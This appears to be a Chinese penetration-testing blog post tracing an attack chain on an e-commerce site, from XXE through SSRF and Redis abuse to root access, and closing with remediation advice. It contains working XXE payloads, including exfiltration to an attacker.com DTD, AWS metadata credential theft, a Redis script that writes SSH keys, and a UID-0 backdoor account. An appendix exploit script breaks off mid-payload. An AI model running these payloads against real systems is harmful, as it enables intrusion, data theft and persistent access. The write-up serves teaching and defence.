实战漏洞挖掘:从XXE到RCE的完整渗透路径剖析
前言
在网络安全领域,漏洞挖掘从来都不是纸上谈兵的游戏。作为一名渗透测试工程师,我经常需要面对各种复杂的企业环境,从看似无害的入口点逐步深入,最终发现那些隐藏在深处的安全漏洞。今天我要分享的这个案例,是我最近在一次红队评估中发现的从XXE漏洞到最终获取系统权限的完整攻击链。这个案例不仅展示了单个漏洞的危害性,更体现了漏洞组合利用的惊人威力。
目标环境概览
这次评估的目标是一个中型电商平台,采用典型的Java Spring Boot架构,前端使用Vue.js,后端使用MySQL数据库。系统包含用户管理、商品展示、订单处理、支付接口等核心模块。
在开始测试前,我首先进行了常规的信息收集:
# 子域名枚举
subfinder -d target.com -o subdomains.txt
# 端口扫描
nmap -sS -sV -O target.com -p- -T4
# 目录爆破
gobuster dir -u https://target.com -w /path/to/wordlist
信息收集结果显示目标系统开放了80、443、8080端口,其中8080端口运行着一个管理后台接口。
第一阶段:发现XXE注入点
在测试文件上传功能时,我注意到系统支持XML格式的数据导入。用户可以通过上传XML文件来批量导入商品信息。这立即引起了我的注意,因为XML处理不当往往会导致XXE(XML External Entity)漏洞。
我首先尝试了一个简单的XXE测试payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<product>
<name>&xxe;</name>
<price>100</price>
</product>
上传这个文件后,系统返回了错误信息,但错误信息中包含了/etc/passwd文件的内容!这证实了XXE漏洞的存在。
为了进一步利用,我尝试使用FTP协议进行数据外带:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<product>
<name>&exfil;</name>
<price>100</price>
</product>
对应的evil.dtd文件内容:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
通过这种方式,我成功获取到了服务器上的敏感文件。
第二阶段:深入利用XXE
单纯的文件读取已经很有价值,但我需要进一步深入。通过读取Spring Boot的配置文件application.properties,我获得了数据库连接信息:
spring.datasource.url=jdbc:mysql://localhost:3306/ecommerce
spring.datasource.username=app_user
spring.datasource.password=J8#kL!p@3sD
更重要的是,我发现了Redis的配置信息:
spring.redis.host=localhost
spring.redis.port=6379
spring.redis.password=redis_pass_2023
这些凭证为后续的横向移动提供了可能。
第三阶段:通过SSRF探测内网
XXE漏洞通常可以转换为SSRF(Server-Side Request Forgery)。我修改了payload来探测内网服务:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<product>
<name>&xxe;</name>
<price>100</price>
</product>
通过这种方式,我发现目标运行在AWS云环境中,并获取了实例的元数据信息,包括IAM角色凭证。这为后续的云环境渗透打下了基础。
第四阶段:利用Redis未授权访问
使用之前获取的Redis密码,我尝试连接Redis服务:
redis-cli -h target.com -p 6379 -a redis_pass_2023
连接成功后,我发现Redis以root权限运行,而且可以通过CONFIG命令修改持久化路径。这为获取RCE提供了机会。
我编写了以下利用脚本:
import redis
import requests
def redis_rce(target_ip, redis_pass, ssh_pub_key):
try:
r = redis.Redis(host=target_ip, port=6379, password=redis_pass)
# 设置持久化路径为ssh目录
r.config_set('dir', '/root/.ssh/')
r.config_set('dbfilename', 'authorized_keys')
# 写入ssh公钥
r.set('crackit', ssh_pub_key)
r.save()
print("[+] SSH key injected successfully")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
# 使用示例
ssh_public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD..."
redis_rce("target.com", "redis_pass_2023", ssh_public_key)
通过注入SSH公钥,我成功获取了服务器的root权限。
第五阶段:权限维持与横向移动
获得root权限后,我需要建立持久化访问并探索内网环境。
首先创建了一个隐藏的后门账户:
useradd -o -u 0 -g 0 -s /bin/bash -d /home/sysadmin sysadmin
echo 'sysadmin:Password123!' | chpasswd
然后部署了SSH隧道进行内网探测:
# 动态端口转发
ssh -D 1080 sysadmin@target.com
# 使用proxychains进行内网扫描
proxychains nmap -sT -sV -O 192.168.1.0/24
在内网中发现了几台重要的服务器:
- 192.168.1.10:数据库服务器
- 192.168.1.20:文件存储服务器
- 192.168.1.30:日志服务器
第六阶段:数据库渗透
通过访问数据库服务器,我发现了更多的敏感信息:
-- 获取用户数据
SELECT username, email, password FROM users WHERE is_admin = 1;
-- 查找支付信息
SELECT * FROM payment_transactions ORDER BY created_at DESC LIMIT 100;
这些数据包含了管理员的哈希密码,通过破解获得了管理员权限。
漏洞修复建议
基于这次渗透测试的发现,我向客户提供了以下修复建议:
1. XXE漏洞修复
// 禁用外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
2. Redis安全加固
# 修改默认端口
port 6380
# 设置强密码
requirepass complex_password_here
# 限制网络访问
bind 127.0.0.1
# 重命名危险命令
rename-command FLUSHALL ""
rename-command CONFIG ""
3. 网络隔离
- 实施最小权限原则
- 建立网络分段
- 配置严格的安全组规则
总结与反思
这次渗透测试展示了现代Web应用安全中的几个重要教训:
-
漏洞链的威力:单个漏洞可能看起来危害有限,但当多个漏洞组合利用时,可能造成灾难性后果。
-
防御纵深的重要性:即使外部应用存在漏洞,通过 proper 的网络隔离和权限控制,可以显著降低漏洞的影响范围。
-
持续监控的必要性:企业需要建立完善的安全监控体系,及时发现异常行为。
-
安全开发生命周期:在开发阶段就应考虑安全问题,而不是事后补救。
这个案例也提醒我们,在数字化转型的今天,网络安全已经成为了企业生存和发展的基石。只有建立全面的安全防护体系,才能在日益复杂的网络威胁环境中保持竞争力。
附录:完整利用代码
#!/usr/bin/env python3
"""
XXE to RCE Exploit Script
Author: Security Researcher
Date: 2024
"""
import requests
import redis
import xml.etree.ElementTree as ET
from urllib.parse import urljoin
class XXEExploit:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_xxe(self, xml_payload):
"""测试XXE漏洞"""
url = urljoin(self.base_url, '/api/products/import')
files = {'file': ('test.xml', xml_payload, 'application/xml')}
try:
response = self.session.post(url, files=files)
return response.text
except Exception as e:
print(f"Request failed: {e}")
return None
# 使用示例
if __name__ == "__main__":
exploit = XXEExploit("https://target.com")
payload = """<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file://
> 评论区域 (0 条)_
发表评论